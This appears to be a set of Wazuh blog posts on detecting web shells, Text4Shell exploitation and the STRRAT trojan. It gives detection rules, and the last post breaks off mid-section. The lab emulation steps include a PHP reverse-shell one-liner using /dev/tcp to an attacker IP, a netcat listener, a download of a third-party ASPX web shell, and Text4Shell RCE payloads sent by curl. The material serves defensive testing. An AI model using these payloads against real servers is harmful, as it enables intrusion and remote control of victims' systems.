Category: <span>Featured</span>

Web shell attack detection with Wazuh

Cyber attackers are known to utilize various techniques to maintain persistence on compromised endpoints. These techniques ensure that attackers do not repeat exploitation phases when compromised web servers reboot, change credentials, or encounter interruptions that may cause loss of access. Installing a web shell on a web server is one way of achieving persistence.

Description of web shells

Web shells are web-based scripts or programs that give remote attackers unrestricted access to web servers. Malicious actors typically use it to maintain stealthy and persistent access to compromised web servers, like Internet Information Services (IIS), Apache, NGINX, and content management systems such as WordPress. These cyber attackers can get a foothold on a web server by exploiting application vulnerabilities or system misconfigurations via attacks such as SQL injection (SQLi), cross-site scripting (XSS), remote file inclusion (RFI), etc.

When cyber attackers compromise an endpoint, they inject web shells into the targeted web server’s directory and execute it via web browsers. With this, a permanent backdoor is set up for attackers to perform post-exploitation activities via HTTP requests. Some of these post-exploitation activities include; running commands, exfiltrating sensitive information, uploading malware, and defacing websites.

Web shell

Most web shells follow the same concepts in their design and purpose. Web shells are generally written in programming languages supported by the victim web servers. Examples of supported languages include PHP, ASP, ASP.NET, Perl, Python, Ruby, Java, and Unix shell scripts.

Common indicators of web shells

  • Recently uploaded or modified files: Malicious actors upload their web shells to web server directories or modify existing files in the web server directories to repurpose them as web shells. Files with recent timestamps that do not match with approved updates on the web server may indicate a compromise.
  • Unusual network connections: Web shells can open ports to create bind and reverse shells which allow cyber attackers to access compromised web servers. As a result, unknown or unusual TCP or UDP traffic from a web server may indicate the presence of a web shell.
  • Misconfigurations and modified headers: User requests are usually appended with the user agent and referer HTTP headers information. Cyber attackers can modify an application’s configuration file to allow command execution on the application headers on compromised web servers to keep a web shell undercover. For example, a normal user agent looks like the following:
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36

It can be modified to include a command like User-Agent: ifconfig. This may indicate the presence of a web shell.

  • Obfuscation techniques: Cyber attackers employ encoding, compression, and replacement techniques to hide code and avoid being detected by security systems or other attackers. For example, an attacker can use the PHP’s base64() and gzdeflate() functions to obfuscate commands by encoding and compressing them into unreadable formats. Then, use the eval() or assert() function to parse the data decoded with base64_decode() and uncompressed with gzinflate(). Files with these functions that web admins do not explicitly add may indicate a web shell attack.

Environment setup

This blog post focuses on PHP and ASP.NET programming languages because of their widespread usage for web applications, making them excellent for writing web shells. We use the following endpoints to demonstrate the ability of Wazuh to detect web shells:

  • A Centos 7 server that runs Wazuh 4.3.10. Follow the Quickstart installation guide to install the Wazuh central components.
  • An Ubuntu 22 victim endpoint that runs the Wazuh agent 4.3.10. This endpoint runs an Apache web server for PHP web applications. Use this Wazuh guide to install and enroll the Wazuh agent.
  • A Windows 11 victim endpoint that runs the Wazuh agent 4.3.10. This endpoint runs an IIS web server for ASP.NET web applications. Use this Wazuh guide to install and enroll the Wazuh agent.
  • A Parrot OS endpoint to perform attacks against the web servers.

Setup the Apache web server on the Ubuntu endpoint

1. Install the Apache web server to serve web applications with the following commands:

$ sudo apt update
$ sudo apt install apache2

2. Install PHP 8.1 to run PHP applications:

$ sudo apt install --no-install-recommends php8.1

The --no-install-recommends flag ensures that the package manager does not install additional packages.

3. To verify the installation, visit the URL: http://<UBUNTU_IP> to see the Apache web server homepage.

Setup the IIS web server on the Windows endpoint

Go to the Windows start menu, type appwiz.cpl, and open the application. Click on Turn Windows features on or off, expand Internet Information Services and enable the following features:

  1. Expand Web Management Tools, and select IIS Management Console.
  2. Expand World Wide Web Services, then Application Development Features, and select .Net Extensibility 3.5, .Net Extensibility 4.8, ASP, ASP.NET 3.5, ASP.NET 4.8, ISAPI Extensions, ISAPI Filters.
  3. Expand Common HTTP Features and select Directory Browsing, Http Errors, Static Content.
  4. Expand Health and Diagnostics and select Http Logging.
  5. Expand Performance Features and select Static Content Compression.
  6. Click OK and click Let Windows update download the files for you to download and install the features.
  7. To verify the installation, visit the URL: http://<WINDOWS_IP> to see the IIS web server homepage.

Attack scenario

The Ubuntu endpoint runs an Apache web server with PHP installed to interpret and execute PHP code. The Windows endpoint runs the Windows IIS web server to interpret ASP.NET code.

As web shells are post-exploitation malware, we assume that the attacker has initial access to the endpoints. The cyber attacker’s goal is to maintain persistence on the compromised web server and perform post-exploitation activities, including the ability to add, execute, and delete files, create reverse shells, and command execution.

Detection techniques

Web shells exist in different variants and can perform a wide range of activities, making them difficult to detect. We use the following capabilities of Wazuh to detect the presence of PHP and ASP.NET web shells on compromised endpoints.

Using file integrity monitoring (FIM) to detect the creation and modification of web shell files

The Wazuh FIM module can detect file changes on web-accessible directories in near real-time and alert system administrators. We use this module to detect when PHP and ASP.NET files are created or modified in the /var/www/html/ and C:inetpubwwwroot default web root directories of Ubuntu and Windows, respectively. Additionally, FIM scans the contents of the files to monitor for signatures of web shells when the files are modified.

Note

Replace the default web root directory in the configurations below if you use a different directory in your environment.

Ubuntu endpoint configuration

1. Add the following configuration to the Wazuh agent /var/ossec/etc/ossec.conf file within the <syscheck> block. This detects file changes in the /var/www/html/ directory.

<directories realtime="yes" check_all="yes" report_changes="yes">/var/www/html</directories>

2. Restart the Wazuh agent to apply the configuration changes:

$ sudo systemctl restart wazuh-agent

Windows endpoint configuration

1. Add the following configuration to the C:Program Files (x86)ossec-agentossec.conf file within the <syscheck> block. This detects file changes in the C:inetpubwwwroot directory.

<directories realtime="yes" check_all="yes" report_changes="yes">C:inetpubwwwroot</directories>

2. Run PowerShell as Administrator and restart the Wazuh agent to apply the configuration changes:

> Restart-Service -Name wazuh

Wazuh server configuration

1. Create a custom rules file webshell_rules.xml in the /var/ossec/etc/rules/ directory. Add the following rules to the /var/ossec/etc/rules/webshell_rules.xml file to trigger alerts when PHP and ASP.NET files are created or modified in the /var/www/html/ and C:inetpubwwwroot web server directories. However, it is essential to examine other file types, as web shells can be embedded in different files.

<group name="linux, webshell, windows,">
  <!-- This rule detects file creation. -->
  <rule id="100500" level="12">
    <if_sid>554</if_sid>
    <field name="file" type="pcre2">(?i).php$|.phtml$|.php3$|.php4$|.php5$|.phps$|.phar$|.asp$|.aspx$|.jsp$|.cshtml$|.vbhtml$</field>
    <description>[File creation]: Possible web shell scripting file ($(file)) created</description>
    <mitre>
      <id>T1105</id>
      <id>T1505</id>
    </mitre>
  </rule>
  
  <!-- This rule detects file modification. -->
  <rule id="100501" level="12">
    <if_sid>550</if_sid>
    <field name="file" type="pcre2">(?i).php$|.phtml$|.php3$|.php4$|.php5$|.phps$|.phar$|.asp$|.aspx$|.jsp$|.cshtml$|.vbhtml$</field>
    <description>[File modification]: Possible web shell content added in $(file)</description>
    <mitre>
      <id>T1105</id>
      <id>T1505</id>
    </mitre>
  </rule>

  <!-- This rule detects files modified with PHP web shell signatures. -->
  <rule id="100502" level="15">
    <if_sid>100501</if_sid>
    <field name="changed_content" type="pcre2">(?i)passthru|exec|eval|shell_exec|assert|str_rot13|system|phpinfo|base64_decode|chmod|mkdir|fopen|fclose|readfile|show_source|proc_open|pcntl_exec|execute|WScript.Shell|WScript.Network|FileSystemObject|Adodb.stream</field>
    <description>[File Modification]: File $(file) contains a web shell</description>
    <mitre>
      <id>T1105</id>
      <id>T1505.003</id>
    </mitre>
  </rule>
</group>

2. Restart the Wazuh manager to apply the configuration changes:

$ sudo systemctl restart wazuh-manager

Using custom Wazuh rules to detect web shell actions

Wazuh allows you to write custom rules that trigger alerts when specific conditions are detected in logs. We integrate Wazuh with auditd on Linux endpoints and Sysmon on Windows to enrich the log sources for better security.

Ubuntu endpoint

Auditd (short for Linux Audit Daemon) is an auditing framework that collects and stores system events such as operating system calls and functions. Using auditd, we can monitor system commands, and network connections performed by a web server user and write rules to alert when detected.

1. Update system packages and install auditd using the following command:

$ sudo apt update
$ sudo apt install auditd

2. Forward the auditd logs to the Wazuh server for analysis by adding the following configuration to the Wazuh agent /var/ossec/etc/ossec.conf file:

<ossec_config>
  <localfile>
    <location>/var/log/audit/audit.log</location>
    <log_format>audit</log_format>
  </localfile>
</ossec_config>

3. Obtain the Apache web server’s user id by executing the following command:

$ sudo apachectl -S
VirtualHost configuration:
*:80                   127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex mpm-accept: using_defaults
Mutex watchdog-callback: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default 
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33

We can see that the id of the Apache web server user www-data is 33.

4. Add the following to the auditd /etc/audit/rules.d/audit.rules configuration file. Replace <USER_ID> with the user id obtained in step 3 above.

## Auditd rules that detect command execution from user www-data.
-a always,exit -F arch=b32 -S execve -F uid=<USER_ID> -F key=webshell_command_exec
-a always,exit -F arch=b64 -S execve -F uid=<USER_ID> -F key=webshell_command_exec

## Auditd rules that detect network connections from user www-data.
-a always,exit -F arch=b64 -S socket -F a0=10 -F euid=<USER_ID> -k webshell_net_connect
-a always,exit -F arch=b64 -S socket -F a0=2 -F euid=<USER_ID> -k webshell_net_connect
-a always,exit -F arch=b32 -S socket -F a0=10 -F euid=<USER_ID> -k webshell_net_connect
-a always,exit -F arch=b32 -S socket -F a0=2 -F euid=<USER_ID> -k webshell_net_connect

5. Restart auditd and Wazuh agent to apply the configuration changes:

$ sudo systemctl restart auditd
$ sudo systemctl restart wazuh-agent

Windows endpoint

System Monitor (Sysmon) is a Windows system service that monitors and logs system activity to the Windows event log. It enriches the logs with detailed information about process creations, network connections, and more. For example, Sysmon reveals the IIS worker process w3wp.exe that processes requests sent to the IIS web server. IIS has a security feature called the application pool identity that allows you to run an application pool under a unique account.

This account is called  DefaultAppPool by default. With this account, the IIS worker process only runs with user privileges. Cyber attackers abuse this process to open PowerShell or cmd programs to run shell commands.

Perform the following steps to set up Sysmon and configure Wazuh to process its logs:

1. Download the Sysmon installer and the configuration file sysmonconfig.xml.

2. Install Sysmon with the configuration file using PowerShell with Administrator privileges:

> .Sysmon64.exe -accepteula -i sysmonconfig.xml

3. Add the following configuration to the C:Program Files (x86)ossec-agentossec.conf file to capture and forward Sysmon event logs to the Wazuh manager:

<ossec_config>
  <localfile>
    <location>Microsoft-Windows-Sysmon/Operational</location>
    <log_format>eventchannel</log_format>
  </localfile>
</ossec_config>

4. Restart the Wazuh agent to apply the configuration changes:

> Restart-Service -Name wazuh

Wazuh server configuration

  1. Add the following rules to the /var/ossec/etc/rules/webshell_rules.xml configuration file to detect web shell command execution and established network connections:

Note

Replace DefaultAppPool in the ruleset below if you have changed the default identity account in your environment.

<!-- Linux Rules. -->
<group name="auditd, linux, webshell,">
  <!-- This rule detects web shell command execution. -->
  <rule id="100520" level="12">
    <if_sid>80700</if_sid>
    <field name="audit.key">webshell_command_exec</field>
    <description>[Command execution ($(audit.exe))]: Possible web shell attack detected</description>
    <mitre>
      <id>T1505.003</id>
      <id>T1059.004</id>
    </mitre>
  </rule>

  <!-- This rule detects web shell network connections. -->
  <rule id="100521" level="12">
    <if_sid>80700</if_sid>
    <field name="audit.key">webshell_net_connect</field>
    <description>[Network connection via $(audit.exe)]: Possible web shell attack detected</description>
    <mitre>
      <id>TA0011</id>
      <id>T1049</id>
      <id>T1505.003</id>
    </mitre>
  </rule>
</group>

<!-- Windows Rules. -->
<group name="sysmon, webshell, windows,">
  <!-- This rule detects web shell command execution. -->
  <rule id="100530" level="12">
    <if_sid>61603</if_sid>
    <field name="win.eventdata.parentImage" type="pcre2">(?i)w3wp.exe</field>
    <field name="win.eventdata.parentUser" type="pcre2">(?i)IISsAPPPOOL\\DefaultAppPool</field>
    <description>[Command execution ($(win.eventdata.commandLine))]: Possible web shell attack detected</description>
    <mitre>
      <id>T1505.003</id>
      <id>T1059.004</id>
    </mitre>
  </rule>

  <!-- This rule detects web shell network connections. -->
  <rule id="100531" level="12">
    <if_sid>61605</if_sid>
    <field name="win.eventdata.image" type="pcre2">(?i)w3wp.exe</field>
    <field name="win.eventdata.user" type="pcre2">(?i)IISsAPPPOOL\\DefaultAppPool</field>
    <description>[Network connection]: Possible web shell attempting network connection on source port: $(win.eventdata.sourcePort) and destination port: $(win.eventdata.destinationPort)</description>
    <mitre>
      <id>TA0011</id>
      <id>T1049</id>
      <id>T1505.003</id>
    </mitre>
  </rule>
</group>

2. Restart the Wazuh manager to apply the configuration changes:

$ sudo systemctl restart wazuh-manager

Using command monitoring to monitor network connections of attack attempts

In this section, we use command monitoring to complement the use of auditd in the Linux endpoint. It is to get additional information about the IP addresses and ports where attacks originate.

Ubuntu endpoint configuration

1. Add the following settings to the Wazuh agent /var/ossec/etc/ossec.conf file. It configures the command that executes on the endpoint.

<ossec_config>
  <localfile>
    <log_format>full_command</log_format>
    <command>ss -nputw | egrep '"sh"|"bash"|"csh"|"ksh"|"zsh"' | awk '{ print $5 "|" $6 }'</command>
    <alias>webshell connections</alias>
    <frequency>120</frequency>
  </localfile>
</ossec_config>

Note

The <frequency> tag defines how often the command runs in seconds. The above command runs every 120 seconds. You can configure a value that suits your environment.

2. Restart the Wazuh agent to apply the above configuration changes:

$ sudo systemctl restart wazuh-agent

Wazuh server configuration

1. Add the following decoders to the /var/ossec/etc/decoders/local_decoder.xml configuration file to detect patterns of network connections established by web shells on web servers:

<!-- Decoder for web shell network connection. -->
<decoder name="network-traffic-child">
  <parent>ossec</parent>
  <prematch offset="after_parent">^output: 'webshell connections':</prematch>
  <regex offset="after_prematch" type="pcre2">(d+.d+.d+.d+):(d+)|(d+.d+.d+.d+):(d+)</regex>
  <order>local_ip, local_port, foreign_ip, foreign_port</order>
</decoder>

2. Add the following rules to the /var/ossec/etc/rules/webshell_rules.xml file to detect patterns of network connections established by web shells on web servers:

<!-- This rule detects network connections from scripts. -->
<group name="linux, webshell,">
  <rule id="100510" level="12">
    <match>ossec: output: 'webshell connections'</match>
    <description>[Network connection]: Script attempting network connection on source port: $(local_port) and destination port: $(foreign_port)</description>
    <mitre>
      <id>TA0011</id>
      <id>T1049</id>
      <id>T1505.003</id>
    </mitre>
  </rule>
</group>

3. Restart the Wazuh manager to apply the configuration changes:

$ sudo systemctl restart wazuh-manager

Attack emulation

To demonstrate how web shell attacks work on compromised endpoints, perform the following steps on Ubuntu and Windows endpoints:

Steps to perform the attack against the Ubuntu endpoint

Ubuntu endpoint

Execute the following commands with root user privilege:

1. Create a file, for example, webshell-script.php in the /var/www/html web server directory:

# touch /var/www/html/webshell-script.php

2. Modify the file by adding random content, for example, “Hello world!” using the following command:

# echo 'Hello world!' > /var/www/html/webshell-script.php

3. Replace <PARROTOS_IP> with the IP address of the attacker endpoint in the following command:

# echo -e "<?php exec('/bin/bash -c "bash -i >& /dev/tcp/<PARROTOS_IP>/4444 0>&1"');?>" > /var/www/html/webshell-script.php

This command replaces the content of the file /var/www/html/webshell-script.php with a web shell.

Parrot OS endpoint

On the terminal, use netcat (nc), installed by default, to listen on port 4444 using the following command:

$ nc -lvp 4444

2. Access the web shell from the web browser on the URL: http://<UBUNTU_IP>/webshell-script.php to establish a reverse shell for the Ubuntu endpoint.

3. On the terminal running netcat, a reverse shell connection is established. Execute some commands like whoami, cat /etc/passwd, etc.

View the alerts

On the Wazuh dashboard, navigate to the Security events section and visualize the triggered alerts:

Web shell attack

Steps to perform the attack against the Windows endpoint

Windows endpoint

Run PowerShell as Administrator and execute the following steps:

1. Create a file, for example, webshell-script.aspx in the C:inetpubwwwroot web server directory:

> New-Item -Path 'C:inetpubwwwrootwebshell-script.aspx' -ItemType File

2. Modify the file by adding random content, for example, “Hello world!” using the following command:

> Set-Content -Path 'C:inetpubwwwrootwebshell-script.aspx' -Value 'Hello world!'

3. Download a copy of a web shell and replace the file content of C:inetpubwwwrootwebshell-script.aspx using the following commands:

> Invoke-WebRequest -OutFile 'C:UsersPublicDownloadswebshell.aspx' -Uri https://privdayz.com/cdn/txt/aspx.txt
> copy 'C:UsersPublicDownloadswebshell.aspx' 'C:inetpubwwwrootwebshell-script.aspx'

Parrot OS endpoint

1. On the Parrot OS endpoint, listen on port 4444 using the following command:

$ nc -lvp 4444

2. Access the web shell from the web browser on the URL: http://<WINDOWS_IP>/webshell-script.aspx. The web shell password is admin. Under the CmdShell menu, run commands like whoami, ipconfig, etc.

3. Under the PortMap menu, input the IP address of the Parrot OS endpoint for Remote Ip, input port 4444 for Remote Port, input port 5555 for Local Port, then click MapPort.

View the alerts

On the Wazuh dashboard, navigate to the Security events section and visualize the triggered alerts.

Web shell attack detection

Key takeaways

Web shells usually follow the same concept of maintaining persistence on compromised web servers. It relies on creating or modifying files in web-accessible directories, performing network connections for file uploads and reverse shells, and executing commands for further exploitations.

We have shown that Wazuh can detect when attackers create or modify PHP or ASP.NET files to include web shells using FIM and command monitoring to detect network connections from web shells. Additionally, we have integrated auditd and Sysmon with Wazuh to enrich web server logs to detect command execution and network connections on the compromised endpoints.

Despite this, we strongly recommend organizations prevent post-exploitation activities from happening in the first place. Scanning and patching system and application vulnerabilities and performing security policy monitoring for system misconfigurations can achieve this. For detailed information, you can visit our vulnerability detection and security configuration assessment guide.

References

  1. Web shell
  2. Introduction to web shells (Part 1 – 5).
  3. Mitigating web shells.
  4. Application Pool Identities.
  5. Design of software to search ASP web shells.

The post Web shell attack detection with Wazuh appeared first on Wazuh.

Detecting Apache Text4Shell (CVE-2022-42889) with Wazuh

A vulnerability in the Apache Commons Text library called Text4Shell was discovered in October 2022. This vulnerability exists in versions 1.5 through 1.9 of the popular Java library. It allows remote code execution and other malicious actions through the exploitation of the StringSubstitutor API. The vulnerability is identified as CVE-2022-42889 and has a CVSSv3 score of 9.8 out of 10. 

The Apache Commons Text library includes a mechanism for interpolating variables, allowing users to replace certain bits of text with another according to a template. The default template for this library is ${prefix:[options]:data}, where the prefix defines the algorithm for processing data from options.

In this blog post, we use Wazuh to detect vulnerable versions of Apache Commons Text Library and monitor the endpoints for attempts to exploit this vulnerability.

Exploitation conditions for Text4Shell

The following conditions must be met for Text4Shell to be exploitable:

  • Apache Commons Text version 1.5 through 1.9 installed on the victim endpoint.
  • The application using the vulnerable library must use org.apache.commons.text.StringSubstitutor and one of the following prefixes with the default configuration (dns, script, url). 
  • The application must accept and process untrusted data input.

Exploitation examples

If an attacker has the ability to modify a template, he can carry out the following types of attacks:

Attack Prefix Examples
Remote code execution script ${script:javascript:java.lang.Runtime.getRuntime().exec(‘touch /tmp/foo’)}
${script:JEXL:”.getClass().forName(‘java.lang.Runtime’).getRuntime().exec(‘touch /tmp/pwned’)}
Sending information through DNS queries to malicious domains. dns ${dns:address|commons.apache.org}
Disclosure of internal network information via HTTP (HTTPS) requests url ${url:UTF-8:https://nvd.nist.gov/vuln/detail/CVE-2022-42889}

Detection with Wazuh

Requirements

1. A pre-built ready-to-use Wazuh OVA 4.3.10 Follow this guide to download the virtual machine.

2. An Ubuntu 22.04 endpoint with a Wazuh agent installed and enrolled to the Wazuh server. A Wazuh agent can be installed by following the Deploying Wazuh agents guide.

Ubuntu 22.04 endpoint

In order to test the Text4shell vulnerability, we used the vulnerable application in this Proof of Concept.

1. Install OpenJDK and Maven:

$ sudo apt update && sudo apt install openjdk-11-jdk
$ cd /tmp
$ sudo wget https://mirrors.estointernet.in/apache/maven/maven-3/3.6.3/binaries/apache-maven-3.6.3-bin.tar.gz
$ sudo tar -xvf apache-maven-3.6.3-bin.tar.gz
$ sudo mv apache-maven-3.6.3 /opt/

2. Set the environment parameters for Maven:

$ M2_HOME='/opt/apache-maven-3.6.3'
$ PATH="$M2_HOME/bin:$PATH"
$ export PATH

3. Download and build the vulnerable application:

$ sudo apt install git
$ sudo git clone https://github.com/securekomodo/text4shell-poc.git
$ cd text4shell-poc
$ sudo ./mvnw clean install

This creates the ./target folder in the current working directory. Within that folder is the JAR file text4shell-poc-0.0.1-SNAPSHOT.jar

4. Deploy the vulnerable application and enable logging:

$ sudo java -jar -Dserver.tomcat.basedir=tomcat -Dserver.tomcat.accesslog.enabled=true ./target/text4shell-poc-0.0.1-SNAPSHOT.jar

5. In a new terminal, forward the application logs to the Wazuh server by editing the agent /var/ossec/etc/ossec.conf configuration file and specifying the path to the log file:

<localfile>
  <log_format>syslog</log_format>
  <location>/path/to/tomcat/access_log.x-x-x.log</location>
</localfile>

This file is under tomcat/logs in the current working directory for this use case.

Detecting vulnerable versions of Apache Commons Text library with Wazuh SCA

The Wazuh SCA module performs scans to discover misconfigurations in monitored endpoints. Policy files are written in YAML and contain rules to be tested against the actual configuration of the endpoint.

Ubuntu endpoint

1. Create a directory on the endpoint to hold local SCA policies:

$ sudo mkdir /home/local_sca_policies/

The custom SCA policies in the Wazuh default ruleset folders are not kept across updates. This is why we create the /home/local_sca_policies/ directory outside the Wazuh agent installation folder.

2. Create the text4shell_policy.yml file in the local SCA policy directory on the endpoint:

$ sudo touch /home/local_sca_policies/text4shell_policy.yml

3. Change the owner and group of the policy file to wazuh:wazuh so that it can be used by the Wazuh user:

$ sudo chown wazuh:wazuh /home/local_sca_policies/text4shell_policy.yml

4. Enable the policy in the Wazuh agent configuration file /var/ossec/etc/ossec.conf by specifying the location of the policy file in the <SCA> block:

<policies>
   <policy>/home/local_sca_policies/text4shell_policy.yml</policy>
</policies>

5. Add the following content in your /home/local_sca_policies/text4shell_policy.yml policy file:

policy:
 id: "text4shell_check"
 file: "text4shell_check.yml"
 name: "Text4Shell dependency check"
 description: "This document provides prescriptive guidance for identifying Text4shell vulnerability"
 references:
   - https://nvd.nist.gov/vuln/detail/CVE-2022-42889
   - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-42889
requirements:
 title: "Check if Java is present on the machine"
 description: "Requirements for running the SCA scan against machines with Java on them."
 condition: none
 Rules:
   - 'c:sh -c "java -version" -> r: not found'
checks:
 - id: 10000
   title: "Ensure Apache Commons Text earlier than v1.10 is not on the system"
   description: "The Apache Commons Text library is vulnerable to RCE on versions between 1.5 to 1.9."
   remediation: "Update the Apache Commons Text library to version 1.10."
   condition: none
   rules:
     - 'c:find / -regex ".*commons-text.*.jar" -type f -exec sh -c "unzip -p {} META-INF/MANIFEST.MF | grep Implementation-Version" ; -> r: 1.5| 1.6| 1.7| 1.8| 1.9'

The check 10000 searches for vulnerable versions of  Apache Commons Text library on the endpoint. This SCA check will fail if a vulnerable version is found.

6. Restart the Wazuh agent to apply the changes:

$ sudo systemctl restart wazuh-agent

Detection results

We can confirm from the SCA dashboard that the endpoint currently has a vulnerable version of the Apache Commons Text Library installed.

text4shell
Figure 1: Text4Shell SCA detection results

Note

To implement this SCA policy across a group of agents, refer to the SCA section of Wazuh documentation.

Detecting Apache Text4Shell exploitation attempts

In order to detect the exploitation of this vulnerability, we write a rule that can match different exploit strings encoded in web requests.

Wazuh server

1. Edit the /var/ossec/etc/rules/local_rules.xml file and add the following custom rules: 

<group name="accesslog,text4shell,">

<!-- This rule matches arbitrary controlled input for exploitation using script, dns or url prefixes -->

  <rule id="100002" level="12">
     <if_sid>31100</if_sid>
     <url type="pcre2">%24%7B(script%3A(javascript|JEXL)%3A|url%3AUTF-8%3A|dns%3A(address|canonical-name|name)%7C)</url>
     <description>Possible Text4Shell (CVE-2022-42889) exploitation attempt detected from $(srcip)</description>
     <mitre>
      <id>T1190</id>
      <id>T1203</id>
     <id>T1210</id>
   </mitre>
  </rule>

</group>

2. Restart the Wazuh manager to apply the changes:

# systemctl restart wazuh-manager

Attack Emulation

To test the detection, send the following web requests to the vulnerable application from any device that has network connectivity with the endpoint:

1. Using the script prefix:

$ curl http://<UBUNTU_IP>:8080/reflected?poc=%24%7Bscript%3Ajavascript%3Ajava.lang.Runtime.getRuntime%28%29.exec%28%27touch%20%2Ftmp%2Ffoo%27%29%7D

This request allows the supplied JavaScript code to be executed. This example creates a file named foo in the /tmp directory of the monitored endpoint.

2. Using the DNS prefix:

$ curl http://<UBUNTU_IP>:8080/reflected?poc=%24%7Bdns%3Aaddress%7Cwww.google.com%7D

This request performs a DNS query, or a reverse lookup to identify internal resources. 

3. Using the URL prefix:

$ curl http://<UBUNTU_IP>:8080/reflected?poc=%24%7Burl%3AUTF-8%3Ahttps%3A%2F%2Fnvd.nist.gov%2Fvuln%2Fdetail%2FCVE-2022-42889%7D

This lookup calls the specified URL to perform basic GET requests to internal resources.

Replace <UBUNTU_IP> with the IP address of the monitored endpoint running the vulnerable application.

Detection results

text4shell with wazuh
Figure 2: Text4Shell exploitation alerts on Wazuh dashboard
detecting apache text4shell
Figure 3: Text4Shell exploitation details on Wazuh dashboard

Mitigations

Apache has released a patch for this vulnerability. Upgrading the Apache Commons Text Library version to 1.10 mitigates the vulnerability. Additionally, check the usage of org.apache.commons.text.StringSubstitutor closely across your codebase and ensure untrusted user input isn’t being passed to vulnerable functions.

Conclusion

In this article, we demonstrate how to detect Text4shell vulnerability by monitoring an endpoint for vulnerable versions of Apache Commons Text Library. To achieve this, we used the Wazuh SCA module and wrote custom rules to detect exploitation attempts on the monitored endpoint.

Wazuh is open source and free to use. It also has a fast-growing community. You can deploy Wazuh on-premises or as a cloud solution using the Wazuh cloud.

References

The post Detecting Apache Text4Shell (CVE-2022-42889) with Wazuh appeared first on Wazuh.

STRRAT detection with Wazuh

STRRAT is a Java-based remote access trojan (RAT) that provides threat actors with full remote control of infected Windows endpoints. STRRAT focuses on stealing credentials from browsers and email clients like Microsoft Edge, Google Chrome, Mozilla Firefox, Microsoft Outlook, Mozilla Thunderbird, and Foxmail. It also steals credentials by recording keystrokes of infected endpoints.

Previous versions of STRRAT relied on Java Runtime Environment (JRE) installed on infected endpoints. Recently, this trojan has acquired the ability to deploy its own JRE on infected endpoints.

STRRAT is usually delivered by phishing emails, and it allows attackers to run a plethora of commands on infected endpoints.

In this blog post, we use Wazuh to detect the malicious activities of STRRAT.

STRRAT behavior

  • STRRAT poses as ransomware by adding a .crimson extension to the files on the victim endpoint, although it does not encrypt the files.
  • STRRAT collects basic information like system architecture, the presence of antivirus software, and the operating system of the victim endpoint.
  • STRRAT creates a <digits>lock.file file in the C:Users<USER_NAME> folder. The <digits> represents the port used by the trojan to connect to its command and control (C2) server.
  • STRRAT downloads a system-hook Jar file and uses this file to record the keystrokes of the victim endpoint. This Jar file is located in the C:Users<USER_NAME>lib folder.
  • STRRAT downloads sqlite-jdbc and jna-platform Jar files into the C:Users<USER_NAME>lib folder. The trojan uses these files to perform malicious activities on the victim endpoint.
  • STRRAT maintains persistence by using the task scheduler to create a Windows scheduled task called Skype. This scheduled task runs the malware every 30 minutes.
  • STRRAT attempts to connect to a C2 server to exfiltrate data. It creates a C:Users<USER_NAME>AppDataRoamingstrlogs folder before attempting to connect to its C2 server.

Infrastructure

To demonstrate the detection of STRRAT with Wazuh, we use the following infrastructure:

1. A pre-built ready-to-use Wazuh OVA 4.3.10. Follow this guide to download the virtual machine. 

2. A Windows 10 victim endpoint with Java and Wazuh agent 4.3.10 installed. To install the Wazuh agent, refer to the following guide.

Detection with Wazuh

STRRAT is delivered in stages and uses obfuscation to evade detection on a victim endpoint. In this blog post, we use the following techniques to detect the presence of STRRAT:

  • File integrity monitoring: To detect files created, modified, and downloaded by STRRAT.
  • Command monitoring: To detect a scheduled task created by STRRAT.

File integrity monitoring

Wazuh uses its File Integrity Monitoring (FIM) module to detect and trigger alerts when files are created, modified, or deleted on monitored folders.

Follow the steps below to detect the presence of STRRAT on the victim endpoint.

Victim endpoint

Perform the following steps to configure FIM on the monitored endpoint.

1. Edit the Wazuh agent C:Program Files (x86)ossec-agentossec.conf file and include the following configuration within the <syscheck> block:

<!-- This configuration monitors the malicious activities of STRRAT on the victim endpoint-->
<directories realtime="yes" recursion_level="2">C:Users</directories>

2. Launch Powershell with administrative privilege and restart the Wazuh agent for the changes to take effect:

> Restart-Service -Name wazuh

Wazuh server

Perform the following steps to configure detection rules on the Wazuh server.

1. Edit the /var/ossec/etc/rules/local_rules.xml file on the Wazuh server and include the following rules:

<group name="syscheck,strrat_detection_rule,">
<!-- STRRAT downloads a system-hook Java file for recording keystrokes -->
  <rule id="100050" level="12">
    <if_sid>554</if_sid>
    <field name="file" type="pcre2">(?i)^c:\users.+lib\system-hook.+jar$</field>
    <description>Possible STRRAT malware detected. $(file) was downloaded on the endpoint</description>
    <mitre>
      <id>T1056.001</id>
    </mitre>
  </rule>
<!-- STRRAT poses as ransomware -->
  <rule id="100051" level="8">
    <if_sid>550,554</if_sid>
    <field name="file" type="pcre2">(?i)c:\users.+(documents|desktop|downloads).+crimson</field>
    <description>Possible STRRAT malware detected. The .crimson extension has been appended to $(file)</description>
    <mitre>
      <id>T1486</id>
    </mitre>
  </rule>
<!-- STRRAT creates a lock file -->
  <rule id="100052" level="12">
    <if_sid>554</if_sid>
    <field name="file" type="pcre2">(?i)^c:\users.+\d{1,}lock.file$</field>
    <description>Possible STRRAT malware detected. $(file) was created on the endpoint</description>
  </rule>
<!-- STRRAT downloads Java files -->
  <rule id="100053" level="12">
    <if_sid>554</if_sid>
    <field name="file" type="pcre2">(?i)^c:\users.+lib\(jna-platform|sqlite).+jar$</field>
    <description>Possible STRRAT malware detected. $(file) was downloaded on the endpoint</description>
    <mitre>
      <id>T1407</id>
    </mitre>
  </rule>
</group>

Where:

  • Rule id 100050 is triggered when the STRRAT malware downloads a system-hook jar file.
  • Rule id 100051 is triggered when .crimson extension is appended to files in Documents, Desktop or Downloads folder.
  • Rule id 100052 is triggered when STRRAT creates a <digits>lock.file file in C:Users<USER_NAME> folder.
  • Rule id 100053 is triggered when STRRAT downloads a jna-platform or sqlite-jdbc jar file.

2. Restart the Wazuh manager for the changes to take effect:

# systemctl restart wazuh-manager

The alerts below are generated on the Wazuh dashboard when STRRAT is run on the victim endpoint.

Command monitoring

